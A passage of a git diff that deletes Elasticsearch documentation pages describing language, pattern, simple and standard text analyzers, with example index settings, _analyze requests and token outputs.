-            "lowercase",
-            "italian_stop",
-            "italian_keywords",
-            "italian_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"italian_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: italian_example, first: italian, second: rebuilt_italian}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[latvian-analyzer]]
-===== `latvian` analyzer
-
-The `latvian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /latvian_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "latvian_stop": {
-          "type":       "stop",
-          "stopwords":  "_latvian_" <1>
-        },
-        "latvian_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["piemērs"] <2>
-        },
-        "latvian_stemmer": {
-          "type":       "stemmer",
-          "language":   "latvian"
-        }
-      },
-      "analyzer": {
-        "rebuilt_latvian": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "latvian_stop",
-            "latvian_keywords",
-            "latvian_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"latvian_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: latvian_example, first: latvian, second: rebuilt_latvian}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[lithuanian-analyzer]]
-===== `lithuanian` analyzer
-
-The `lithuanian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /lithuanian_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "lithuanian_stop": {
-          "type":       "stop",
-          "stopwords":  "_lithuanian_" <1>
-        },
-        "lithuanian_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["pavyzdys"] <2>
-        },
-        "lithuanian_stemmer": {
-          "type":       "stemmer",
-          "language":   "lithuanian"
-        }
-      },
-      "analyzer": {
-        "rebuilt_lithuanian": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "lithuanian_stop",
-            "lithuanian_keywords",
-            "lithuanian_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"lithuanian_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: lithuanian_example, first: lithuanian, second: rebuilt_lithuanian}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[norwegian-analyzer]]
-===== `norwegian` analyzer
-
-The `norwegian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /norwegian_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "norwegian_stop": {
-          "type":       "stop",
-          "stopwords":  "_norwegian_" <1>
-        },
-        "norwegian_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["eksempel"] <2>
-        },
-        "norwegian_stemmer": {
-          "type":       "stemmer",
-          "language":   "norwegian"
-        }
-      },
-      "analyzer": {
-        "rebuilt_norwegian": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "norwegian_stop",
-            "norwegian_keywords",
-            "norwegian_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"norwegian_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: norwegian_example, first: norwegian, second: rebuilt_norwegian}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[persian-analyzer]]
-===== `persian` analyzer
-
-The `persian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /persian_example
-{
-  "settings": {
-    "analysis": {
-      "char_filter": {
-        "zero_width_spaces": {
-            "type":       "mapping",
-            "mappings": [ "\\u200C=>\\u0020"] <1>
-        }
-      },
-      "filter": {
-        "persian_stop": {
-          "type":       "stop",
-          "stopwords":  "_persian_" <2>
-        }
-      },
-      "analyzer": {
-        "rebuilt_persian": {
-          "tokenizer":     "standard",
-          "char_filter": [ "zero_width_spaces" ],
-          "filter": [
-            "lowercase",
-            "decimal_digit",
-            "arabic_normalization",
-            "persian_normalization",
-            "persian_stop"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: persian_example, first: persian, second: rebuilt_persian}\nendyaml\n/]
-
-<1> Replaces zero-width non-joiners with an ASCII space.
-<2> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-
-[[portuguese-analyzer]]
-===== `portuguese` analyzer
-
-The `portuguese` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /portuguese_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "portuguese_stop": {
-          "type":       "stop",
-          "stopwords":  "_portuguese_" <1>
-        },
-        "portuguese_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["exemplo"] <2>
-        },
-        "portuguese_stemmer": {
-          "type":       "stemmer",
-          "language":   "light_portuguese"
-        }
-      },
-      "analyzer": {
-        "rebuilt_portuguese": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "portuguese_stop",
-            "portuguese_keywords",
-            "portuguese_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"portuguese_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: portuguese_example, first: portuguese, second: rebuilt_portuguese}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[romanian-analyzer]]
-===== `romanian` analyzer
-
-The `romanian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /romanian_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "romanian_stop": {
-          "type":       "stop",
-          "stopwords":  "_romanian_" <1>
-        },
-        "romanian_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["exemplu"] <2>
-        },
-        "romanian_stemmer": {
-          "type":       "stemmer",
-          "language":   "romanian"
-        }
-      },
-      "analyzer": {
-        "rebuilt_romanian": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "romanian_stop",
-            "romanian_keywords",
-            "romanian_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"romanian_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: romanian_example, first: romanian, second: rebuilt_romanian}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-
-[[russian-analyzer]]
-===== `russian` analyzer
-
-The `russian` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /russian_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "russian_stop": {
-          "type":       "stop",
-          "stopwords":  "_russian_" <1>
-        },
-        "russian_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["пример"] <2>
-        },
-        "russian_stemmer": {
-          "type":       "stemmer",
-          "language":   "russian"
-        }
-      },
-      "analyzer": {
-        "rebuilt_russian": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "russian_stop",
-            "russian_keywords",
-            "russian_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"russian_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: russian_example, first: russian, second: rebuilt_russian}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[sorani-analyzer]]
-===== `sorani` analyzer
-
-The `sorani` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /sorani_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "sorani_stop": {
-          "type":       "stop",
-          "stopwords":  "_sorani_" <1>
-        },
-        "sorani_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["mînak"] <2>
-        },
-        "sorani_stemmer": {
-          "type":       "stemmer",
-          "language":   "sorani"
-        }
-      },
-      "analyzer": {
-        "rebuilt_sorani": {
-          "tokenizer":  "standard",
-          "filter": [
-            "sorani_normalization",
-            "lowercase",
-            "decimal_digit",
-            "sorani_stop",
-            "sorani_keywords",
-            "sorani_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"sorani_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: sorani_example, first: sorani, second: rebuilt_sorani}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[spanish-analyzer]]
-===== `spanish` analyzer
-
-The `spanish` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /spanish_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "spanish_stop": {
-          "type":       "stop",
-          "stopwords":  "_spanish_" <1>
-        },
-        "spanish_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["ejemplo"] <2>
-        },
-        "spanish_stemmer": {
-          "type":       "stemmer",
-          "language":   "light_spanish"
-        }
-      },
-      "analyzer": {
-        "rebuilt_spanish": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "spanish_stop",
-            "spanish_keywords",
-            "spanish_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"spanish_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: spanish_example, first: spanish, second: rebuilt_spanish}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[swedish-analyzer]]
-===== `swedish` analyzer
-
-The `swedish` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /swedish_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "swedish_stop": {
-          "type":       "stop",
-          "stopwords":  "_swedish_" <1>
-        },
-        "swedish_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["exempel"] <2>
-        },
-        "swedish_stemmer": {
-          "type":       "stemmer",
-          "language":   "swedish"
-        }
-      },
-      "analyzer": {
-        "rebuilt_swedish": {
-          "tokenizer":  "standard",
-          "filter": [
-            "lowercase",
-            "swedish_stop",
-            "swedish_keywords",
-            "swedish_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"swedish_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: swedish_example, first: swedish, second: rebuilt_swedish}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[turkish-analyzer]]
-===== `turkish` analyzer
-
-The `turkish` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /turkish_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "turkish_stop": {
-          "type":       "stop",
-          "stopwords":  "_turkish_" <1>
-        },
-        "turkish_lowercase": {
-          "type":       "lowercase",
-          "language":   "turkish"
-        },
-        "turkish_keywords": {
-          "type":       "keyword_marker",
-          "keywords":   ["örnek"] <2>
-        },
-        "turkish_stemmer": {
-          "type":       "stemmer",
-          "language":   "turkish"
-        }
-      },
-      "analyzer": {
-        "rebuilt_turkish": {
-          "tokenizer":  "standard",
-          "filter": [
-            "apostrophe",
-            "turkish_lowercase",
-            "turkish_stop",
-            "turkish_keywords",
-            "turkish_stemmer"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"turkish_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: turkish_example, first: turkish, second: rebuilt_turkish}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
-<2> This filter should be removed unless there are words which should
-    be excluded from stemming.
-
-[[thai-analyzer]]
-===== `thai` analyzer
-
-The `thai` analyzer could be reimplemented as a `custom` analyzer as follows:
-
-[source,console]
-----------------------------------------------------
-PUT /thai_example
-{
-  "settings": {
-    "analysis": {
-      "filter": {
-        "thai_stop": {
-          "type":       "stop",
-          "stopwords":  "_thai_" <1>
-        }
-      },
-      "analyzer": {
-        "rebuilt_thai": {
-          "tokenizer":  "thai",
-          "filter": [
-            "lowercase",
-            "decimal_digit",
-            "thai_stop"
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/"thai_keywords",//]
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: thai_example, first: thai, second: rebuilt_thai}\nendyaml\n/]
-
-<1> The default stopwords can be overridden with the `stopwords`
-    or `stopwords_path` parameters.
diff --git a/docs/reference/analysis/analyzers/pattern-analyzer.asciidoc b/docs/reference/analysis/analyzers/pattern-analyzer.asciidoc
deleted file mode 100644
index 7327cee996f..00000000000
--- a/docs/reference/analysis/analyzers/pattern-analyzer.asciidoc
+++ /dev/null
@@ -1,411 +0,0 @@
-[[analysis-pattern-analyzer]]
-=== Pattern analyzer
-++++
-<titleabbrev>Pattern</titleabbrev>
-++++
-
-The `pattern` analyzer uses a regular expression to split the text into terms.
-The regular expression should match the *token separators*  not the tokens
-themselves. The regular expression defaults to `\W+` (or all non-word characters).
-
-[WARNING]
-.Beware of Pathological Regular Expressions
-========================================
-
-The pattern analyzer uses
-https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html[Java Regular Expressions].
-
-A badly written regular expression could run very slowly or even throw a
-StackOverflowError and cause the node it is running on to exit suddenly.
-
-Read more about https://www.regular-expressions.info/catastrophic.html[pathological regular expressions and how to avoid them].
-
-========================================
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "analyzer": "pattern",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "the",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "2",
-      "start_offset": 4,
-      "end_offset": 5,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "quick",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "brown",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "foxes",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "jumped",
-      "start_offset": 24,
-      "end_offset": 30,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "the",
-      "start_offset": 36,
-      "end_offset": 39,
-      "type": "word",
-      "position": 7
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "word",
-      "position": 8
-    },
-    {
-      "token": "dog",
-      "start_offset": 45,
-      "end_offset": 48,
-      "type": "word",
-      "position": 9
-    },
-    {
-      "token": "s",
-      "start_offset": 49,
-      "end_offset": 50,
-      "type": "word",
-      "position": 10
-    },
-    {
-      "token": "bone",
-      "start_offset": 51,
-      "end_offset": 55,
-      "type": "word",
-      "position": 11
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ the, 2, quick, brown, foxes, jumped, over, the, lazy, dog, s, bone ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `pattern` analyzer accepts the following parameters:
-
-[horizontal]
-`pattern`::
-
-    A https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html[Java regular expression], defaults to `\W+`.
-
-`flags`::
-
-    Java regular expression https://docs.oracle.com/javase/8/docs/api/java/util/regex/Pattern.html#field.summary[flags].
-    Flags should be pipe-separated, eg `"CASE_INSENSITIVE|COMMENTS"`.
-
-`lowercase`::
-
-    Should terms be lowercased or not. Defaults to `true`.
-
-`stopwords`::
-
-    A pre-defined stop words list like `_english_` or an array  containing a
-    list of stop words.  Defaults to `_none_`.
-
-`stopwords_path`::
-
-    The path to a file containing stop words.
-
-See the <<analysis-stop-tokenfilter,Stop Token Filter>> for more information
-about stop word configuration.
-
-
-[discrete]
-=== Example configuration
-
-In this example, we configure the `pattern` analyzer to split email addresses
-on non-word characters or on underscores (`\W|_`), and to lower-case the result:
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_email_analyzer": {
-          "type":      "pattern",
-          "pattern":   "\\W|_", <1>
-          "lowercase": true
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_email_analyzer",
-  "text": "John_Smith@foo-bar.com"
-}
-----------------------------
-
-<1> The backslashes in the pattern need to be escaped when specifying the
-    pattern as a JSON string.
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "john",
-      "start_offset": 0,
-      "end_offset": 4,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "smith",
-      "start_offset": 5,
-      "end_offset": 10,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "foo",
-      "start_offset": 11,
-      "end_offset": 14,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "bar",
-      "start_offset": 15,
-      "end_offset": 18,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "com",
-      "start_offset": 19,
-      "end_offset": 22,
-      "type": "word",
-      "position": 4
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ john, smith, foo, bar, com ]
----------------------------
-
-[discrete]
-==== CamelCase tokenizer
-
-The following more complicated example splits CamelCase text into tokens:
-
-[source,console]
---------------------------------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "camel": {
-          "type": "pattern",
-          "pattern": "([^\\p{L}\\d]+)|(?<=\\D)(?=\\d)|(?<=\\d)(?=\\D)|(?<=[\\p{L}&&[^\\p{Lu}]])(?=\\p{Lu})|(?<=\\p{Lu})(?=\\p{Lu}[\\p{L}&&[^\\p{Lu}]])"
-        }
-      }
-    }
-  }
-}
-
-GET my-index-000001/_analyze
-{
-  "analyzer": "camel",
-  "text": "MooseX::FTPClass2_beta"
-}
---------------------------------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "moose",
-      "start_offset": 0,
-      "end_offset": 5,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "x",
-      "start_offset": 5,
-      "end_offset": 6,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "ftp",
-      "start_offset": 8,
-      "end_offset": 11,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "class",
-      "start_offset": 11,
-      "end_offset": 16,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "2",
-      "start_offset": 16,
-      "end_offset": 17,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "beta",
-      "start_offset": 18,
-      "end_offset": 22,
-      "type": "word",
-      "position": 5
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above example produces the following terms:
-
-[source,text]
----------------------------
-[ moose, x, ftp, class, 2, beta ]
----------------------------
-
-The regex above is easier to understand as:
-
-[source,regex]
---------------------------------------------------
-  ([^\p{L}\d]+)                 # swallow non letters and numbers,
-| (?<=\D)(?=\d)                 # or non-number followed by number,
-| (?<=\d)(?=\D)                 # or number followed by non-number,
-| (?<=[ \p{L} && [^\p{Lu}]])    # or lower case
-  (?=\p{Lu})                    #   followed by upper case,
-| (?<=\p{Lu})                   # or upper case
-  (?=\p{Lu}                     #   followed by upper case
-    [\p{L}&&[^\p{Lu}]]          #   then lower case
-  )
---------------------------------------------------
-
-[discrete]
-=== Definition
-
-The `pattern` anlayzer consists of:
-
-Tokenizer::
-* <<analysis-pattern-tokenizer,Pattern Tokenizer>>
-
-Token Filters::
-*  <<analysis-lowercase-tokenfilter,Lower Case Token Filter>>
-*  <<analysis-stop-tokenfilter,Stop Token Filter>> (disabled by default)
-
-If you need to customize the `pattern` analyzer beyond the configuration
-parameters then you need to recreate it as a `custom` analyzer and modify
-it, usually by adding token filters. This would recreate the built-in
-`pattern` analyzer and you can use it as a starting point for further
-customization:
-
-[source,console]
-----------------------------------------------------
-PUT /pattern_example
-{
-  "settings": {
-    "analysis": {
-      "tokenizer": {
-        "split_on_non_word": {
-          "type":       "pattern",
-          "pattern":    "\\W+" <1>
-        }
-      },
-      "analyzer": {
-        "rebuilt_pattern": {
-          "tokenizer": "split_on_non_word",
-          "filter": [
-            "lowercase"       <2>
-          ]
-        }
-      }
-    }
-  }
-}
-----------------------------------------------------
-// TEST[s/\n$/\nstartyaml\n  - compare_analyzers: {index: pattern_example, first: pattern, second: rebuilt_pattern}\nendyaml\n/]
-<1> The default pattern is `\W+` which splits on non-word characters
-and this is where you'd change it.
-<2> You'd add other token filters after `lowercase`.
diff --git a/docs/reference/analysis/analyzers/simple-analyzer.asciidoc b/docs/reference/analysis/analyzers/simple-analyzer.asciidoc
deleted file mode 100644
index 511d9d164d8..00000000000
--- a/docs/reference/analysis/analyzers/simple-analyzer.asciidoc
+++ /dev/null
@@ -1,150 +0,0 @@
-[[analysis-simple-analyzer]]
-=== Simple analyzer
-++++
-<titleabbrev>Simple</titleabbrev>
-++++
-
-The `simple` analyzer breaks text into tokens at any non-letter character, such
-as numbers, spaces, hyphens and apostrophes, discards non-letter characters, 
-and changes uppercase to lowercase.
-
-[[analysis-simple-analyzer-ex]]
-==== Example
-
-[source,console]
-----
-POST _analyze
-{
-  "analyzer": "simple",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
-----
-
-////
-[source,console-result]
-----
-{
-  "tokens": [
-    {
-      "token": "the",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "word",
-      "position": 0
-    },
-    {
-      "token": "quick",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "word",
-      "position": 1
-    },
-    {
-      "token": "brown",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "word",
-      "position": 2
-    },
-    {
-      "token": "foxes",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "word",
-      "position": 3
-    },
-    {
-      "token": "jumped",
-      "start_offset": 24,
-      "end_offset": 30,
-      "type": "word",
-      "position": 4
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "word",
-      "position": 5
-    },
-    {
-      "token": "the",
-      "start_offset": 36,
-      "end_offset": 39,
-      "type": "word",
-      "position": 6
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "word",
-      "position": 7
-    },
-    {
-      "token": "dog",
-      "start_offset": 45,
-      "end_offset": 48,
-      "type": "word",
-      "position": 8
-    },
-    {
-      "token": "s",
-      "start_offset": 49,
-      "end_offset": 50,
-      "type": "word",
-      "position": 9
-    },
-    {
-      "token": "bone",
-      "start_offset": 51,
-      "end_offset": 55,
-      "type": "word",
-      "position": 10
-    }
-  ]
-}
-----
-////
-
-The `simple` analyzer parses the sentence and produces the following 
-tokens: 
-
-[source,text]
-----
-[ the, quick, brown, foxes, jumped, over, the, lazy, dog, s, bone ]
-----
-
-[[analysis-simple-analyzer-definition]]
-==== Definition
-
-The `simple` analyzer is defined by one tokenizer:
-
-Tokenizer::
-* <<analysis-lowercase-tokenizer, Lowercase Tokenizer>>
-
-[[analysis-simple-analyzer-customize]]
-==== Customize
-
-To customize the `simple` analyzer, duplicate it to create the basis for 
-a custom analyzer. This custom analyzer can be modified as required, usually by 
-adding token filters.
-
-[source,console]
-----
-PUT /my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_custom_simple_analyzer": {
-          "tokenizer": "lowercase",
-          "filter": [                          <1>
-          ]
-        }
-      }
-    }
-  }
-}
-----
-<1> Add token filters here.
\ No newline at end of file
diff --git a/docs/reference/analysis/analyzers/standard-analyzer.asciidoc b/docs/reference/analysis/analyzers/standard-analyzer.asciidoc
deleted file mode 100644
index 459d1098341..00000000000
--- a/docs/reference/analysis/analyzers/standard-analyzer.asciidoc
+++ /dev/null
@@ -1,302 +0,0 @@
-[[analysis-standard-analyzer]]
-=== Standard analyzer
-++++
-<titleabbrev>Standard</titleabbrev>
-++++
-
-The `standard` analyzer is the default analyzer which is used if none is
-specified. It provides grammar based tokenization (based on the Unicode Text
-Segmentation algorithm, as specified in
-https://unicode.org/reports/tr29/[Unicode Standard Annex #29]) and works well
-for most languages.
-
-[discrete]
-=== Example output
-
-[source,console]
----------------------------
-POST _analyze
-{
-  "analyzer": "standard",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "the",
-      "start_offset": 0,
-      "end_offset": 3,
-      "type": "<ALPHANUM>",
-      "position": 0
-    },
-    {
-      "token": "2",
-      "start_offset": 4,
-      "end_offset": 5,
-      "type": "<NUM>",
-      "position": 1
-    },
-    {
-      "token": "quick",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "brown",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 3
-    },
-    {
-      "token": "foxes",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "<ALPHANUM>",
-      "position": 4
-    },
-    {
-      "token": "jumped",
-      "start_offset": 24,
-      "end_offset": 30,
-      "type": "<ALPHANUM>",
-      "position": 5
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "<ALPHANUM>",
-      "position": 6
-    },
-    {
-      "token": "the",
-      "start_offset": 36,
-      "end_offset": 39,
-      "type": "<ALPHANUM>",
-      "position": 7
-    },
-    {
-      "token": "lazy",
-      "start_offset": 40,
-      "end_offset": 44,
-      "type": "<ALPHANUM>",
-      "position": 8
-    },
-    {
-      "token": "dog's",
-      "start_offset": 45,
-      "end_offset": 50,
-      "type": "<ALPHANUM>",
-      "position": 9
-    },
-    {
-      "token": "bone",
-      "start_offset": 51,
-      "end_offset": 55,
-      "type": "<ALPHANUM>",
-      "position": 10
-    }
-  ]
-}
-----------------------------
-
-/////////////////////
-
-
-The above sentence would produce the following terms:
-
-[source,text]
----------------------------
-[ the, 2, quick, brown, foxes, jumped, over, the, lazy, dog's, bone ]
----------------------------
-
-[discrete]
-=== Configuration
-
-The `standard` analyzer accepts the following parameters:
-
-[horizontal]
-`max_token_length`::
-
-    The maximum token length. If a token is seen that exceeds this length then
-    it is split at `max_token_length` intervals. Defaults to `255`.
-
-`stopwords`::
-
-    A pre-defined stop words list like `_english_` or an array  containing a
-    list of stop words.  Defaults to `_none_`.
-
-`stopwords_path`::
-
-    The path to a file containing stop words.
-
-See the <<analysis-stop-tokenfilter,Stop Token Filter>> for more information
-about stop word configuration.
-
-
-[discrete]
-=== Example configuration
-
-In this example, we configure the `standard` analyzer to have a
-`max_token_length` of 5 (for demonstration purposes), and to use the
-pre-defined list of English stop words:
-
-[source,console]
-----------------------------
-PUT my-index-000001
-{
-  "settings": {
-    "analysis": {
-      "analyzer": {
-        "my_english_analyzer": {
-          "type": "standard",
-          "max_token_length": 5,
-          "stopwords": "_english_"
-        }
-      }
-    }
-  }
-}
-
-POST my-index-000001/_analyze
-{
-  "analyzer": "my_english_analyzer",
-  "text": "The 2 QUICK Brown-Foxes jumped over the lazy dog's bone."
-}
-----------------------------
-
-/////////////////////
-
-[source,console-result]
-----------------------------
-{
-  "tokens": [
-    {
-      "token": "2",
-      "start_offset": 4,
-      "end_offset": 5,
-      "type": "<NUM>",
-      "position": 1
-    },
-    {
-      "token": "quick",
-      "start_offset": 6,
-      "end_offset": 11,
-      "type": "<ALPHANUM>",
-      "position": 2
-    },
-    {
-      "token": "brown",
-      "start_offset": 12,
-      "end_offset": 17,
-      "type": "<ALPHANUM>",
-      "position": 3
-    },
-    {
-      "token": "foxes",
-      "start_offset": 18,
-      "end_offset": 23,
-      "type": "<ALPHANUM>",
-      "position": 4
-    },
-    {
-      "token": "jumpe",
-      "start_offset": 24,
-      "end_offset": 29,
-      "type": "<ALPHANUM>",
-      "position": 5
-    },
-    {
-      "token": "d",
-      "start_offset": 29,
-      "end_offset": 30,
-      "type": "<ALPHANUM>",
-      "position": 6
-    },
-    {
-      "token": "over",
-      "start_offset": 31,
-      "end_offset": 35,
-      "type": "<ALPHANUM>",
-      "position": 7
-    },
-    {
